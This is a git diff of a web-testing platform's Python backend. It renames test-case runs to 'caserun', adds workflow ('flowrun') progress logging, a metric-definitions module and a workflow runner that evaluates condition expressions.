-                    print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+                    msg = f'asserting that element "{step["assertion"]["element"]["selector"]}".innerText matches "{step["assertion"]["value"]}" | run_id: {str(self.caserun.id)}' 
+                    print(msg)
+
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
                     selector = self.format_element(step["assertion"]["element"]["selector"])
                     xpath = self.format_element(step["assertion"]["element"]["xpath"])
                     element_data = self.get_element(selector, xpath)
@@ -641,8 +847,8 @@ def run(self) -> None:
                     print(f'value -> {step["assertion"]["value"]}')
 
                     # assert text
-                    if elementText != step["assertion"]["value"]:
-                        raise AssertionError(f'innerText of element "{selector}" does match "{step['assertion']['value']}"')
+                    if elementText != self.transpose_data(step["assertion"]["value"]):
+                        raise AssertionError(f'innerText of element "{selector}" does match expected')
                     
                     # save screenshot
                     image = self.save_screenshot()
@@ -652,25 +858,48 @@ def run(self) -> None:
                     exception = self.format_exception(e)
                     status = 'failed'
 
-                self.update_testcase(
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='assertion', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
                     exception=exception,
                     image=image
                 )
+
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
             
 
             if step['assertion']['type'] == 'exists':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='assertion', 
                     start_time=datetime.now(timezone.utc)
                 )
 
                 try:
-                    print(f'asserting that element -> {step["assertion"]["element"]} exists')
+                    msg = f'asserting that {step["assertion"]["element"]["selector"]} exists | run_id: {str(self.caserun.id)}'
+                    print(msg)
+                    
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
                     # find elememt and assert it exists
                     selector = self.format_element(step["action"]["element"]["selector"])
                     xpath = self.format_element(step["action"]["element"]["xpath"])
@@ -694,7 +923,15 @@ def run(self) -> None:
                     exception = self.format_exception(e)
                     status = 'failed'
 
-                self.update_testcase(
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                self.update_caserun(
                     index=i, type='assertion', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
@@ -702,17 +939,38 @@ def run(self) -> None:
                     image=image
                 )
 
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
             i += 1  
 
-        self.update_testcase(
+        self.update_caserun(
             time_completed=datetime.now(timezone.utc)
         )
         quit_driver(driver=self.driver)
-        print('-- testcase run complete --')
+        print('-- caserun run complete --')
+
+        # update flowrun
+        if self.flowrun_id:
+            update_flowrun(**{
+                'flowrun_id': self.flowrun_id,
+                'node_index': self.node_index,
+                'message': (
+                    f'case run "{self.caserun.title}" for {self.caserun.site.site_url} completed with status: '+
+                    f'{"❌ FAILED" if self.caserun.status == 'failed' else "✅ PASSED"} | run_id: {str(self.caserun.id)}'
+                ),
+                'objects': [{
+                    'parent': str(self.caserun.site.id),
+                    'id': str(self.caserun.id),
+                    'status': self.caserun.status
+                }],
+                'node_status': self.caserun.status
+            })
         
-        if self.testcase.status == 'failed' and self.testcase.configs.get('create_issue'):
+        if self.caserun.status == 'failed' and self.caserun.configs.get('create_issue'):
             print('generating new Issue...')
-            Issuer(testcase=self.testcase).build_issue()
+            Issuer(caserun=self.caserun).build_issue()
         
         return None
 
@@ -727,7 +985,7 @@ def pre_run(self) -> None:
         Returns -> None
         """
 
-        print(f'beginning pre_run for Case {self.case_name}')
+        print(f'beginning pre_run for Case {self.caserun.title}')
 
         # setting implict wait_time for driver
         self.driver.implicitly_wait(self.configs.get('max_wait_time'))
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index e636e26f..4555ef12 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -25,7 +25,8 @@ class Crawler():
 
 
 
-    def __init__(self, url: str=None, sitemap: str=None, max_urls: int=25):
+
+    def __init__(self, url: str=None, sitemap: str=None, max_urls: int=5):
         self.url = url
         self.sitemap = sitemap
         self.max_urls = max_urls
diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
new file mode 100644
index 00000000..f6315531
--- /dev/null
+++ b/app/api/utils/definitions.py
@@ -0,0 +1,359 @@
+# Data definitions used throughout
+# The Cursion platform
+
+
+
+
+definitions = [
+    
+    # high-level test score
+    {   
+        'name': 'Test Score',
+        'key': 'test_score',
+        'value': 'obj.score'
+    },
+    {
+        'name': 'Health',
+        'key': 'current_health',
+        'value': '((float(obj.lighthouse_delta["scores"].get("current_average",0) if obj.lighthouse_delta["scores"]["current_average"] is not None else 0) + float(obj.yellowlab_delta["scores"].get("current_average",0) if not obj.lighthouse_delta["scores"]["current_average"] is not None else 0))/2)'
+    },
+    {
+        'name': 'Avg Image Score',
+        'key': 'avg_image_score',
+        'value': 'obj.images_delta.get("average_score",0)'
+    },
+    {
+        'name': 'List of Image Scores',
+        'key': 'image_scores',
+        'value': 'str([i["score"] for i in obj.images_delta["images"]])'
+    },
+    {
+        'name': 'Test Status',
+        'key': 'test_status',
+        'value': 'obj.status'
+    },
+
+    # high-level scan score
+    {
+        'name': 'Health',
+        'key': 'health',
+        'value': '((float(obj.lighthouse["scores"].get("average",0) if obj.lighthouse["scores"]["average"] is not None else 0) + float(obj.yellowlab["scores"].get("globalScore",0) if obj.yellowlab["scores"]["globalScore"] is not None else 0 ))/2)'
+    },
+    {
+        'name': 'Error Logs',
+        'key': 'logs',
+        'value': 'len(obj.logs)'
+    },
+
+    # LH test data
+    {
+        'name': 'SEO Delta',
+        'key': 'seo_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("seo_delta",0)'
+    },
+    {
+        'name': 'PWA Delta',
+        'key': 'pwa_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("pwa_delta",0)'
+    },
+    {
+        'name': 'CRUX Delta',
+        'key': 'crux_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("crux_delta",0)'
+    },
+    {
+        'name': 'Best Practices Delta',
+        'key': 'best_practices_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("best_practices_delta",0)'
+    },
+    {
+        'name': 'Performance Delta',
+        'key': 'performance_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("performance_delta",0)'
+    },
+    {
+        'name': 'Accessibility Delta',
+        'key': 'accessibility_delta',
+        'value': 'obj.lighthouse_delta["scores"].get("accessibility_delta",0)'
+    },
+    {
+        'name': 'Lighthouse Average',
+        'key': 'current_lighthouse_average',
+        'value': 'obj.lighthouse_delta["scores"].get("current_average",0)'
+    },
+
+    # LH scan data
+    {
+        'name': 'Lighthouse Average',
+        'key': 'lighthouse_average',
+        'value': 'obj.lighthouse["scores"].get("average",0)'
+    },
+    {
+        'name': 'SEO',
+        'key': 'seo',
+        'value': 'obj.lighthouse["scores"].get("seo",0)'
+    },
+    {
+        'name': 'PWA',
+        'key': 'pwa',
+        'value': 'obj.lighthouse["scores"].get("pwa",0)'
+    },
+    {
+        'name': 'CRUX',
+        'key': 'crux',
+        'value': 'obj.lighthouse["scores"].get("crux",0)'
+    },
+    {
+        'name': 'Best Practice',
+        'key': 'best_practices',
+        'value': 'obj.lighthouse["scores"].get("best_practices",0)'
+    },
+    {
+        'name': 'Performance',
+        'key': 'performance',
+        'value': 'obj.lighthouse["scores"].get("performance",0)'
+    },
+    {
+        'name': 'Accessibility',
+        'key': 'accessibility',
+        'value': 'obj.lighthouse["scores"].get("accessibility",0)'
+    },
+
+    # YL test data
+    {
+        'name': 'Yellowlab Average',
+        'key': 'current_yellowlab_average',
+        'value': 'obj.yellowlab_delta["scores"].get("current_average",0)'
+    },
+    {
+        'name': 'Page Weight Delta',
+        'key': 'pageWeight_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("pageWeight_delta",0)'
+    },
+    {
+        'name': 'Images Delta',
+        'key': 'images_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("images_delta",0)'
+    },
+    {
+        'name': ' DOM Complexity Delta',
+        'key': 'domComplexity_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("domComplexity_delta",0)'
+    },
+    {
+        'name': 'JS Complexity Delta',
+        'key': 'javascriptComplexity_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("javascriptComplexity_delta",0)'
+    },
+    {
+        'name': 'Bad JS Delta',
+        'key': 'badJavascript_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("badJavascript_delta",0)'
+    },
+    {
+        'name': 'jQuery Delta',
+        'key': 'jQuery_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("jQuery_delta",0)'
+    },
+    {
+        'name': 'CSS Complexity Delta',
+        'key': 'cssComplexity_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("cssComplexity_delta",0)'
+    },
+    {
+        'name': 'Bad CSS Delta',
+        'key': 'badCSS_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("badCSS_delta",0)'
+    },
+    {
+        'name': 'Fonts Delta',
+        'key': 'fonts_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("fonts_delta",0)'
+    },
+    {
+        'name': 'Server Config Delta',
+        'key': 'serverConfig_delta',
+        'value': 'obj.yellowlab_delta["scores"].get("serverConfig_delta",0)'
+    },
+
+    # YL scan data
+    {
+        'name': 'Yellowlab Average',
+        'key': 'yellowlab_average',
+        'value': 'obj.yellowlab["scores"].get("globalScore",0)'
+    },
+    {
+        'name': 'Page Weight',
+        'key': 'pageWeight',
+        'value': 'obj.yellowlab["scores"].get("pageWeight",0)'
+    },
+    {
+        'name': 'Images',
+        'key': 'images',
+        'value': 'obj.yellowlab["scores"].get("images",0)'
+    },
+    {
+        'name': 'DOM Complexity',
+        'key': 'domComplexity',
+        'value': 'obj.yellowlab["scores"].get("domComplexity",0)'
+    },
+    {
+        'name': 'JS Complexity',
+        'key': 'javascriptComplexity',
+        'value': 'obj.yellowlab["scores"].get("javascriptComplexity",0)'
+    },
+    {
+        'name': 'Bad JS',
+        'key': 'badJavascript',
+        'value': 'obj.yellowlab["scores"].get("badJavascript",0)'
+    },
+    {
+        'name': 'jQuery',
+        'key': 'jQuery',
+        'value': 'obj.yellowlab["scores"].get("jQuery",0)'
+    },
+    {
+        'name': 'CSS Complexity',
+        'key': 'cssComplexity',
+        'value': 'obj.yellowlab["scores"].get("cssComplexity",0)'
+    },
+    {
+        'name': 'Bad CSS',
+        'key': 'badCSS',
+        'value': 'obj.yellowlab["scores"].get("badCSS",0)'
+    },
+    {
+        'name': 'Fonts',
+        'key': 'fonts',
+        'value': 'obj.yellowlab["scores"].get("fonts",0)'
+    },
+    {
+        'name': 'Server Configs',
+        'key': 'serverConfig',
+        'value': 'obj.yellowlab["scores"].get("serverConfig",0)'
+    },
+
+    # caserun
+    {
+        'name': 'Case Run Status',
+        'key': 'caserun_status',
+        'value': 'obj.status'
+    },
+    {
+        'name': 'Case Run ID',
+        'key': 'caserun_id',
+        'value': 'str(obj.id)'
+    },
+    {
+        'name': 'Case Title',
+        'key': 'case_title',
+        'value': 'obj.title'
+    },
+    {
+        'name': 'Case ID',
+        'key': 'case_id',
+        'value': 'str(obj.case.id)'
+    },
+
+    # flowrun
+    {
+        'name': 'Flow Run Status',
+        'key': 'flowrun_status',
+        'value': 'obj.status'
+    },
+    {
+        'name': 'Flow Run ID',
+        'key': 'flowrun_id',
+        'value': 'str(obj.id)'
+    },
+    {
+        'name': 'Flow Title',
+        'key': 'flow_title',
+        'value': 'obj.title'
+    },
+    {
+        'name': 'Flow ID',
+        'key': 'flow_id',
+        'value': 'str(obj.flow.id)'
+    },
+
+    # report
+    {
+        'name': 'Report URL',
+        'key': 'report_url',
+        'value': 'obj.path'
+    },
+    {
+        'name': 'Report ID',
+        'key': 'report_id',
+        'value': 'str(obj.id)'
+    },
+
+    # test
+    {
+        'name': 'Test ID',
+        'key': 'test_id',
+        'value': 'str(obj.id)'
+    },
+
+    # scan
+    {
+        'name': 'Scan ID',
+        'key': 'scan_id',
+        'value': 'str(obj.id)'
+    },
+
+    # page
+    {
+        'name': 'Page ID',
+        'key': 'page_id',
+        'value': 'str(obj.page.id)'
+    },
+    {
+        'name': 'Page URL',
+        'key': 'page_url',
+        'value': 'obj.page.page_url'
+    },
+
+    # site
+    {
+        'name': 'Site ID',
+        'key': 'site_id',
+        'value': 'str(obj.site.id)'
+    },
+    {
+        'name': 'Site URL',
+        'key': 'site_url',
+        'value': 'obj.site.site_url'
+    },
+]
+
+
+
+
+
+# get definition
+def get_definition(key: str=None, name: str=None) -> str:
+    """ 
+    Finds the specific data definition based on the 
+    key or name provided.
+
+    Expects: {
+        "key"   : str,
+        "name"  : str,
+    }
+
+    Returns -> "definition" dict, or None
+    """
+
+    # setting default
+    selected = None
+
+    # iterate and search through definitions
+    for obj in definitions:
+        if obj['key'] == key or obj['name'] == name:
+            selected = obj
+            break
+    
+    # return definition
+    return selected
\ No newline at end of file
diff --git a/app/api/utils/devices.py b/app/api/utils/devices.py
index d10e7dbd..f964a001 100644
--- a/app/api/utils/devices.py
+++ b/app/api/utils/devices.py
@@ -243,9 +243,9 @@ def get_device(browser: str=None, name: str=None) -> str:
     # setting default to 'Windows 10 PC'
     selected = devices[6]
 
-    # iterate and search throguh devices 
+    # iterate and search through devices
     for device in devices:
-        if device['browser'] == browser and device['name'] == 'name':
+        if device['browser'] == browser and device['name'] == name:
             selected = device
             break
     
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 740dbea3..fd8d0850 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -69,7 +69,7 @@ def driver_init(
     # setting broswer options for chrome
     if browser == 'chrome':
         options.add_argument("--no-sandbox")
-        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("disable-blink-features=AlertControlled")
         options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
@@ -110,7 +110,7 @@ def driver_init(
     # setting broswer options for edge
     if browser == 'edge':
         options.add_argument("--no-sandbox")
-        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("disable-blink-features=AlertControlled")
         options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
new file mode 100644
index 00000000..50774a47
--- /dev/null
+++ b/app/api/utils/flowr.py
@@ -0,0 +1,845 @@
+from ..models import * 
+from .alerter import Alerter
+from ..tasks import (
+    create_caserun_bg, create_report_bg,
+    create_scan_bg, create_test_bg, 
+    send_phone_bg, send_email_bg, 
+    send_slack_bg, send_webhook_bg
+)
+from cursion import settings
+from datetime import datetime, timezone
+import time, uuid, json, boto3, os, requests, uuid, random
+
+
+
+
+
+
+class Flowr():
+    """ 
+    Executes a `FlowRun` based on the state of 
+    the `FlowRun` instance.
+
+    Expects: {
+        'flowrun_id' : str,
+    }
+
+    - Use `Flowr.run_next()` to run next step in `FlowRun`
+
+    Returns -> Flow instance
+    """
+
+
+
+
+    def __init__(self, flowrun_id: str=None) -> object:
+        
+        # retrieve flowrun
+        self.flowrun_id = flowrun_id
+        self.flowrun = FlowRun.objects.get(id=flowrun_id)
+
+        # constants for tasks that require 'object_id'
+        self.alert_types = ['webhook', 'email', 'phone', 'slack']
+
+
+
+    
+    def build_timestamp(self) -> object:
+        # build timestamp
+        return datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f')
+
+
+
+
+    def get_timestamp(self, timestamp: str=None) -> object:
+        """ 
+        Formats the 'timestamp' if not None
+
+        Expects: {
+            timestamp: str
+        }
+
+        Returns: datetime object
+        """
+
+        # format for timestamp
+        f = '%Y-%m-%d %H:%M:%S.%f'
+        
+        if timestamp:
+            # clean timestamp str
+            clean_str = timestamp.replace('T', ' ').replace('Z', '')
+            # format date str as datetime obj
+            return datetime.strptime(clean_str, f)
+
+        # return None if no timestamp
+        return None
+
+
+
+
+    def get_current_step(self) -> dict:
+        """ 
+        Finds the most recently completed step
+
+        Expects: None
+
+        Returns: {
+            'index' : int,
+            'node'  : dict
+        } 
+        """
+
+        # copy all "completed" self.flowrun.nodes
+        nodes = [
+            node for node in self.flowrun.nodes \
+            if (node['data']['time_completed'] and not node['data']['finalized'])
+        ]
+
+        # sort nodes/steps by time_completed
+        sorted_nodes = sorted(
+            nodes, 
+            key=lambda x: self.get_timestamp(x['data']['time_completed']),
+            reverse=True
+        )
+
+        # get current_node
+        current_node = sorted_nodes[0] if len(sorted_nodes) > 0 else None
+
+        # get index of current_node
+        index = 0
+        if current_node:
+            for node in self.flowrun.nodes:
+                if current_node['id'] == node['id']:
+                    break
+                index+=1
+
+        # return data
+        data = {
+            'index': index,
+            'node': current_node
+        }
+        return data
+    
+
+
+
+    def get_last_node_id(self) -> str:
+        """ 
+        Sorts the nodes by time_completed 
+        and largets ID.
+
+        Expects: None
+
+        Returns: ID <str>
+        """
+        # copy all "completed" self.flowrun.nodes
+        nodes = [
+            node for node in self.flowrun.nodes if (node['data']['time_completed'])
+        ]
+
+        # sort nodes/steps by decending int(id)
+        sorted_nodes = sorted(
+            nodes, 
+            key=lambda x: int(x['data']['id']),
+            reverse=True
+        )
+
+        # return first node in sorted nodes
+        return sorted_nodes[0]['data']['id']
+
+
+
+
+    def get_edge_by_target(self, target: str=None) -> dict:
+        """ 
+        Retrieves the self.flowrun.edge[] that matched the 
+        passed 'target' id
+
+        Expects: {
+            'target': str
+        }
+
+        Returns: {
+            'index': str,
+            'edge': dict
+        }
+        """
+
+        # find target
+        index = 0
+        for e in self.flowrun.edges:
+            if e['target'] == target:
+                return {
+                    'index': index,
+                    'edge': e
+                }
+            index+=1
+        return {'index': None, 'edge': None}
+
+
+    
+
+    def get_edges_by_source(self, source: str=None) -> dict:
+        """ 
+        Retrieves the self.flowrun.edges[] that matched the 
+        passed 'source' id
+
+        Expects: {
+            'source': str
+        }
+
+        Returns: [{
+            'index': str,
+            'edge': dict
+        },]
+        """
+
+        # find 
+        index = 0
+        edges = []
+        for e in self.flowrun.edges:
+            if e['source'] == source:
+                edges.append({
+                    'index': index,
+                    'edge': e
+                })
+            index+=1
+        return edges
+
+
+
+
+    def get_node_by_id(self, id: str=None) -> dict:
+        """ 
+        Retrieves the self.flowrun.node[] that matched the 
+        passed 'id'
+
+        Expects: {
+            'id': str
+        }
+
+        Returns: {
+            'index': str,
+            'node': dict
+        }
+        """
+
+        # find node by id
+        index = 0
+        for n in self.flowrun.nodes:
+            if n['id'] == id:
+                return {
+                    'index': index,
+                    'node': n
+                }
+            index+=1
+        return {'index': None, 'node': None}
+
+
+    
+    
+    def objects_are_complete(self, object_list: list=[]) -> bool:
+        """ 
+        Iterates through the object_list of a given node
+        and returns True if all object.status != 'working'
+
+        Expects: {
+            'object_list': list
+        }
+
+        Returns: bool
+        """
+        if len(object_list) == 0:
+            return True
+        for obj in object_list:
+            if obj['status'] == 'working':
+                return False
+        return True
+
+
+
+
+    def check_all_working_nodes(self, ignore_ids: list=[]) -> None:
+        """ 
+        Check all objs.time_complete for each working node.
+        if node is `working` and all obj.time_complete 
+        are not None: update node & edge with status.'passed'
+
+        Expects: 
+            "ignore_ids": list of node.ids to ignore
+
+        Returns: None
+        """
+        # get fresh flowrun obj
+        flowrun = FlowRun.objects.get(id=self.flowrun_id)
+
+        # copy flowrun.nodes & flowrun.edges
+        nodes = flowrun.nodes
+        edges = flowrun.edges
+
+        # set index 
+        i = 0       
+
+        # loop through all nodes
+        for node in flowrun.nodes:
+            if node['data']['status'] == 'working' and node['id'] not in ignore_ids:
+
+                # loop through each "working" obj
+                if node['data']['objects']:
+
+                    # set defaults
+                    status = 'passed'
+
+                    for obj in node['data']['objects']:
+                        if obj['status'] == 'working':
+
+                            # catch all objs that have no id yet (i.e. `Test` objs)
+                            if obj['id'] is None:
+                                status = 'working'
+                                continue
+
+                            # get object using Alerter()
+                            o = Alerter(
+                                object_id=obj['id'],
+                                task_type=node['data']['task_type']
+                            ).get_object()
+
+                            # check time_complete
+                            if o is not None:
+                                try:
+                                    if o.time_completed is None:
+                                        status = 'working'
+                                except Exception as e:
+                                    print(e)
+                                    pass
+            
+                    # update node if changed
+                    if status != 'working':
+
+                        # update node
+                        j = 0
+                        final_status = status
+                        for obj in nodes[i]['data'].get('objects', []):
+                            
+                            # get current obj status
+                            _status = nodes[i]['data']['objects'][j]['status']
+                            
+                            # update obj status 
+                            nodes[i]['data']['objects'][j]['status'] = _status if _status != 'working' else 'passed'
+                            
+                            # update final_status if obj failed
+                            if _status == 'failed':
+                                final_status = 'failed'
+                            j += 1
+
+                        # add final node status
+                        nodes[i]['data']['status'] = final_status
+                        nodes[i]['data']['time_completed'] = self.build_timestamp()
+                        
+                        # update edge
+                        edge = self.get_edge_by_target(nodes[i]['data']['id'])
+                        if edge['edge']:
+                            edges[edge['index']]['animated'] = True if final_status == 'working' else False
+                            edges[edge['index']]['style'] = {'stroke': "#60a5fa"} if final_status == 'working' else None
+            
+            # increment
+            i += 1
+
+        # update flowrun
+        flowrun.nodes = nodes
+        flowrun.edges = edges
+        flowrun.save()
+
+        return None
+
+
+
+
+    def finalize_node(self, index: int=None) -> None:
+        """ 
+        Updates the node matching the 'index' with 
+        'finalized' = True, then updates self.flowrun
+
+        Expects: {
+            'index': int
+        }
+
+        Returns: None
+        """
+
+        # copy and update 
+        nodes = self.flowrun.nodes
+        nodes[int(index)]['data']['finalized'] = True
+
+        # save to DB
+        self.flowrun.nodes = nodes
+        self.flowrun.save()
+        return None
+
+
+
+
+    def run_next(self) -> None:
+        """ 
+        Checks for the next step and executes 
+        if current step has completed.
+
+        Expects: None
+
+        Returns: `FlowRun` object
+        """
+
+        # check if flowrun is complete
+        if self.flowrun.time_completed:
+            # return early 
+            print('flowrun is complete')
+            return self.flowrun
+
+
+        # get last completed node or None
+        current_data = self.get_current_step()
+
+
+        # check if FlowRun is just starting
+        if current_data['node'] is None and \
+            self.flowrun.nodes[0]['data']['status'] == 'queued':
+            
+            # create step_data for first step
+            step_data = {
+                'index': 0,
+                'node': self.flowrun.nodes[0]
+            }
+            
+            # create alert obj if needed for first job
+            alert_obj = {
+                'parent': str(self.flowrun_id),
+                'id': str(self.flowrun_id),
+                'status': 'working'
+            }
+            objs = [alert_obj,] if step_data['node']['data']['task_type'] in self.alert_types else []
+
+            # run first step
+            print('running first step')
+            self.execute_step(step_data=step_data, objects=objs)
+            return self.flowrun
+
+        
+        # catch updates without a current_node 
+        if current_data['node'] is None:
+            return self.flowrun
+
+
+        # check for node conditions given not 'queued' or 'working'
+        if current_data['node']['data']['conditions'] and \
+            current_data['node']['data']['status'] != 'failed':
+            
+            # starting conditons buliding & execution
+            print('building conditons')
+
+            # finialize node
+            self.finalize_node(index=current_data['index'])
+
+            # set defaults
+            true_outcomes = []
+            false_outcomes = []
+            run_as_cumulative = False
+            false_child_ran = False
+            true_child_ran = False
+
+            # iterate through the objects and run conditions for each
+            for obj_data in current_data['node']['data'].get('objects', []):
+            
+                # get obj using Alerter
+                obj = Alerter(
+                    object_id=obj_data['id'],
+                    task_type=current_data['node']['data']['task_type']
+                ).get_object()
+                
+                # build and execute conditions
+                conditons = Alerter(
+                    expressions=current_data['node']['data']['conditions']
+                ).build_expressions()
+
+                # evaluate conditons
+                outcome = eval(f'True if ({conditons}) else False')
+
+                # create new fake parent ID
+                parentID = uuid.uuid4()
+                
+                # sorting
+                if outcome == True:
+                    true_outcomes.append({
+                        'parent': str(parentID),
+                        'id': obj_data['id'],
+                        'status': 'working'
+                    })
+                if outcome == False:
+                    false_outcomes.append({
+                        'parent': str(parentID),
+                        'id': obj_data['id'],
+                        'status': 'working'
+                    })
+
+            # get child edges
+            edges = self.get_edges_by_source(current_data['node']['id'])
+            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
+            
+            # establish true/false child nodes
+            true_child = None
+            false_child = None
+            for c in children:
+                if c['node']['data']['start_if'] == True:
+                    true_child = c
+                if c['node']['data']['start_if'] == False:
+                    false_child = c
+
+            # run true_child if true_outcomes exists
+            if len(true_outcomes) > 0:
+                true_task = true_child['node']['data']['task_type'] if true_child else None
+                # sleeping random for DB 
+                time.sleep(random.uniform(1, 5))
+                self.execute_step(
+                    step_data=true_child, 
+                    objects=true_outcomes if true_task in self.alert_types else []
+                )
+            
+            # run false_child if false_outcomes exists
+            if len(false_outcomes) > 0:
+                false_task = false_child['node']['data']['task_type'] if false_child else None
+                # sleeping random for DB 
+                time.sleep(random.uniform(1, 5))
+                self.execute_step(
+                    step_data=false_child, 
+                    objects=false_outcomes if false_task in self.alert_types else []
+                )
+
+            # ending section
+            return self.flowrun
+
+        
+        # get and execute next step if current_node status is 'passed'
+        if current_data['node']['data']['status'] == 'passed':
+
+            # finialize node
+            self.finalize_node(index=current_data['index'])
+            
+            # get child edges
+            edges = self.get_edges_by_source(current_data['node']['id'])
+            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
+
+            # children length should be <= 1 since
+            # current_node.conditions == None
+            if len(children) == 1:
+                if children[0] is not None:
+                    next_step = children[0]
+                    print('running next step after "PASSED" non-conditional step')
+                    objs = []
+                    if next_step['node']['data']['task_type'] in self.alert_types:
+                        objs = current_data['node']['data'].get('objects', [])
+                    self.execute_step(step_data=next_step, objects=objs)
+                    return self.flowrun
+
+            # check for other working nodes
+            for node in FlowRun.objects.get(id=self.flowrun_id).nodes:
+                if node['data']['status'] == 'working':
+                    return self.flowrun
+                
+            # if no children and no node is 'working' 
+            # then end flowrun as 'passed' and update logs
+            logs = self.flowrun.logs
+            logs.append({
+                'timestamp':self.build_timestamp(),
+                'message': (
+                    f'flowrun completed with status: ✅ PASSED'
+                ),
+                'step': self.get_last_node_id()
+            })
+            # sort logs
+            logs = sorted(logs, key=lambda l: int(l['step']),)
+
+            # update flowrun
+            self.flowrun.time_completed = self.build_timestamp()
+            self.flowrun.status = 'passed'
+            self.flowrun.logs = logs
+            self.flowrun.save()
+
+            # run alert if requested
+            alert_id = current_data['node']['data'].get('alert_id')
+            if alert_id:
+                Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+
+            # return flowrun
+            return self.flowrun
+            
+        
+        # mark flowrun as `complete` and `failed` if 
+        # current_node status is 'failed' & 'end_on_fail' is True
+        if current_data['node']['data']['status'] == 'failed':
+
+            # finialize node
+            self.finalize_node(index=current_data['index'])
+
+            # define failed log
+            failed_log = {
+                'timestamp':self.build_timestamp(),
+                'message': (
+                    f'flowrun completed with status: ❌ FAILED'
+                ),
+                'step': self.get_last_node_id()
+            }
+
+            # end flowrun if requested
+            if self.flowrun.configs.get('end_on_fail', True):
+                
+                # update logs
+                logs = self.flowrun.logs
+                logs.append(failed_log)
+                # sort logs
+                logs = sorted(logs, key=lambda l: (int(l['step'])),)
+
+                # update & end flowrun
+                self.flowrun.time_completed = self.build_timestamp()
+                self.flowrun.status = 'failed'
+                self.flowrun.logs = logs
+                self.flowrun.save()
+
+                # run alert if requested
+                alert_id = current_data['node']['data'].get('alert_id')
+                if alert_id:
+                    Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+
+                # return flowrun
+                return self.flowrun
+                    
+            # get child edges
+            edges = self.get_edges_by_source(current_data['node']['id'])
+            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
+
+            # children length should be <= 1 since
+            # current_node.conditions == None
+            if len(children) == 1:
+                if children[0] is not None:
+                    next_step = children[0]
+                    print('running next step after "FAILED" non-conditional step')
+                    objs = []
+                    if next_step['node']['data']['task_type'] in self.alert_types:
+                        objs = current_data['node']['data'].get('objects', [])
+                    self.execute_step(step_data=next_step, objects=objs)
+                    return self.flowrun
+
+            # check for other working nodes
+            for node in FlowRun.objects.get(id=self.flowrun_id).nodes:
+                if node['data']['status'] == 'working':
+                    return self.flowrun
+
+            # if no children and no node is 'working' 
+            # then end flowrun as 'failed' and update logs
+            logs = self.flowrun.logs
+            logs.append(failed_log)
+            # sort logs
+            logs = sorted(logs, key=lambda l: int(l['step']),)
+
+            # update & end flowrun
+            self.flowrun.time_completed = self.build_timestamp()
+            self.flowrun.status = 'failed'
+            self.flowrun.logs = logs
+            self.flowrun.save()
+            
+            # run alert if requested
+            alert_id = current_data['node']['data'].get('alert_id')
+            if alert_id:
+                Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+
+            # return flowrun
+            return self.flowrun
+
+
+        
+
+    def execute_step(self, step_data: dict=None, objects: list=None) -> None:
+        """ 
+        Executes the `step` with associated job.
+
+        Expects: {
+            'step_data': {
+                'index': str,
+                'node' : dict
+            },
+            'objects': list
+        }
+        
+        Returns: None
+        """
+
+        if step_data is None:
+            print('no step_data provided - returning early')
+            return 
+
+        # get step/node data & task_type
+        node_data = step_data['node']['data']
+        task_type = node_data['task_type']
+        node_index = step_data['index']
+        parent_data = None if node_index == 0 else self.get_node_by_id(node_data['parentId'])
+        message = (
+            f'starting job ID: {node_data["id"]} ' + 
+            f'| job type is [ {task_type.upper()} ]'
+        )
+
+        # update self.flowrun logs, nodes, & edges
+        self.flowrun = FlowRun.objects.get(id=self.flowrun_id)
+        nodes = self.flowrun.nodes
